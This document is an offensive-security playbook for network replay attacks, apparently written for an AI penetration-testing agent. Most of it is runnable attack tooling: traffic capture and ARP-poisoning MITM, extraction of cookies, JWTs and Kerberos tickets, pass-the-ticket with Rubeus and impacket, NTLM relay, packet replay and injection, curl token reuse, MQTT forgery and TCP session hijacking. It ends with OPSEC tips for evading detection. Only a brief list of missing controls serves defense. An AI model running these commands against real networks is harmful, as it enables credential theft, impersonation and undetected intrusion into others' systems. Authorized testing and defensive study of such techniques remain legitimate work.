Network Replay Attack Playbook
Authorized use only. Replay attacks require network capture of live traffic which may incidentally capture credentials or PII from non-target systems. RoE must explicitly authorize packet capture on the target subnet and name which protocols and systems are in scope.
Overview
A replay attack reuses previously captured, valid network messages to re-authenticate or re-authorize without knowing the underlying secret. CAI's dedicated replay-attack agent covers this as a distinct offensive primitive. Decepticon routes it here from any engagement where valid traffic has been captured and the auth token / session state is reusable.
Tool inventory
# Verify tools available (standard Kali)
which tcpreplay tcpprep tcprewrite tshark scapy 2>/dev/null
pip show scapy pwntools 2>/dev/null | grep -E 'Name|Version'
Phase 1 — Traffic Capture
Passive capture on a local segment
# Broad capture — filter to target host post-hoc
sudo tcpdump -i <iface> -w /tmp/capture.pcap host <target_ip>
# Targeted: capture only authentication-relevant ports
sudo tcpdump -i <iface> -w /tmp/auth.pcap \
'host <target> and (port 80 or port 443 or port 88 or port 389 or port 1883)'
# If you have a SPAN/mirror port feeding into the attacker NIC:
sudo tcpdump -i <span_iface> -w /tmp/span.pcap -s 0
Capture via MITM (ARP poisoning prerequisite)
# ARP poison victim <-> gateway to intercept traffic
sudo arpspoof -i <iface> -t <victim_ip> <gateway_ip> &
sudo arpspoof -i <iface> -t <gateway_ip> <victim_ip> &
# Enable IP forwarding to stay transparent
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo tcpdump -i <iface> -w /tmp/mitm.pcap host <victim_ip>
Phase 2 — Extract Replayable Material
HTTP session tokens and cookies
tshark -r /tmp/capture.pcap \
-Y 'http.request.method == "POST" || http.cookie' \
-T fields -e frame.number -e ip.src -e http.cookie \
-e http.authorization -e http.file_data 2>/dev/null | head -50
# Extract cookie / Authorization header value for direct reuse
tshark -r /tmp/capture.pcap -Y 'http.cookie' \
-T fields -e http.cookie 2>/dev/null | sort -u
JWT tokens
# JWTs appear in Authorization: Bearer headers or JSON bodies
tshark -r /tmp/capture.pcap \
-Y 'http.authorization contains "Bearer"' \
-T fields -e http.authorization 2>/dev/null | \
grep -oP 'Bearer \K[A-Za-z0-9._-]+'
Decode and inspect without verification (note: this does NOT forge — just inspects claims to understand expiry, role, subject):
import base64, json
token = "<paste_jwt>"
header, payload, sig = token.split('.')
print(json.loads(base64.b64decode(payload + '==').decode()))
Kerberos TGT / TGS ticket replay (Pass-the-Ticket)
# Extract Kerberos AS-REP / TGS-REP from capture
tshark -r /tmp/capture.pcap -Y 'kerberos' \
-T fields -e kerberos.msg_type -e kerberos.CNameString \
-e kerberos.realm 2>/dev/null | head -30
# If you have code execution on a Windows host — dump tickets in memory
# (credential-access domain; use from post-exploit context)
# Rubeus.exe dump /luid:<logon_id> /service:krbtgt /nowrap
# Then inject: Rubeus.exe ptt /ticket:<base64_kirbi>
# Impacket-based PTT (Linux) after extracting .ccache file
export KRB5CCNAME=/tmp/stolen.ccache
python3 /opt/impacket/examples/psexec.py -k -no-pass <target>
NTLM Net-NTLMv2 capture for relay (not crack)
This is the relay path, not hash crack. See ad/ntlm-relay for full relay
playbook. Capture with Responder:
sudo responder -I <iface> -wdF # capture Net-NTLMv2 hashes
# For relay (not crack): pipe directly to ntlmrelayx
sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support
Phase 3 — Replay Execution
Raw PCAP replay with tcpreplay
# Extract specific frames to replay
tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \
-Y 'frame.number >= 150 && frame.number <= 180'
# Replay at original rate to target
sudo tcpreplay --intf1=<iface> --topspeed /tmp/auth_only.pcap
# Replay with destination MAC/IP rewrite (different target host)
tcprewrite --srcipmap=<orig_src>:<new_src> \
--dstipmap=<orig_dst>:<new_dst> \
--enet-dmac=<target_mac> \
--infile=/tmp/auth_only.pcap \
--outfile=/tmp/rewritten.pcap
sudo tcpreplay --intf1=<iface> /tmp/rewritten.pcap
Scapy session token injection
from scapy.all import rdpcap, IP, TCP, Raw, send
packets = rdpcap('/tmp/auth_only.pcap')
# Pick the auth POST packet
auth_pkt = packets[5]
# Modify destination if replaying to a different host
auth_pkt[IP].dst = '<new_target_ip>'
auth_pkt[IP].src = '<attacker_ip>'
del auth_pkt[IP].chksum
del auth_pkt[TCP].chksum
send(auth_pkt, verbose=1)
HTTP cookie / Bearer token replay with curl
COOKIE="session=<extracted_value>"
JWT="<extracted_jwt>"
# Cookie replay
curl -sk -H "Cookie: $COOKIE" https://<target>/api/admin -v
# JWT replay
curl -sk -H "Authorization: Bearer $JWT" https://<target>/api/v1/users -v
MQTT frame replay (IoT / OT context)
# Replay a captured MQTT publish frame (e.g., sensor value forgery)
# Extract MQTT payload from pcap
tshark -r /tmp/capture.pcap -Y 'mqtt.msgtype == 3' \
-T fields -e mqtt.topic -e mqtt.msg 2>/dev/null
# Re-publish with mosquitto_pub
mosquitto_pub -h <broker_ip> -p 1883 \
-t "<captured_topic>" -m "<captured_payload>"
Phase 4 — TCP Session Hijacking
Applicable when sequence numbers are predictable or you have a MITM position.
from scapy.all import *
# Monitor target TCP stream and identify SEQ/ACK window
packets = sniff(filter=f"tcp and host <victim> and host <server>",
count=20, iface="<iface>")
last = packets[-1]
src_ip = last[IP].src
dst_ip = last[IP].dst
sport = last[TCP].sport
dport = last[TCP].dport
seq = last[TCP].seq + len(last[Raw].load)
ack = last[TCP].ack
# Inject payload into the stream
hijack = IP(src=src_ip, dst=dst_ip) / \
TCP(sport=sport, dport=dport, seq=seq, ack=ack, flags="PA") / \
Raw(load=b"GET /admin HTTP/1.1\r\nHost: server\r\n\r\n")
send(hijack, verbose=1)
ATT&CK Mapping
| Technique | ID | Notes |
|---|---|---|
| Adversary-in-the-Middle | T1557 | ARP poisoning to capture traffic |
| LLMNR/NBT-NS Poisoning | T1557.001 | Responder NTLMv2 capture |
| Remote Service Session Hijacking | T1563 | TCP session hijack |
| Use Alternate Auth Material | T1550 | Cookie/token replay |
| Pass the Hash / Ticket | T1550.002 | Kerberos PTT after ticket extraction |
| Network Sniffing | T1040 | Passive PCAP capture prerequisite |
Evidence collection
kg_add_node(
kind="finding",
label="Network replay attack — session token reused",
props={
"technique": "network-replay",
"captured_pcap": "/workspace/evidence/replay/<target>.pcap",
"replayed_token_type": "<cookie|jwt|kerberos|ntlm|mqtt>",
"result": "<access_gained|failed>",
"target": "<ip_or_hostname>",
"mitre": "T1557,T1550",
},
)
Anti-replay controls to document in findings
When the replay succeeds, the finding must note which control is missing:
- No nonce / CSRF token on authenticated requests.
- No token binding to client IP or TLS session.
- Long or infinite token lifetime.
- Missing
Secure/HttpOnlycookie flags (enabling JS exfil then replay). - No Kerberos delegation restriction (
ms-DS-AllowedToDelegateToopen). - MQTT broker accepting publish without authentication or TLS.
OPSEC
- ARP spoofing is loud: most EDR and network monitoring platforms alert on gratuitous ARPs and duplicate MAC entries. Use passive SPAN capture where available.
tcpreplaycan trigger IDS signatures on duplicated TCP SYN sequences. Replay at reduced rate (--mbps=1) or with sequence-number rewriting.- Kerberos PTT leaves no NTLM event logs (4776) but does generate 4768/4769 with client IP = attacker; ensure the attacker IP is consistent with the stolen identity's expected location.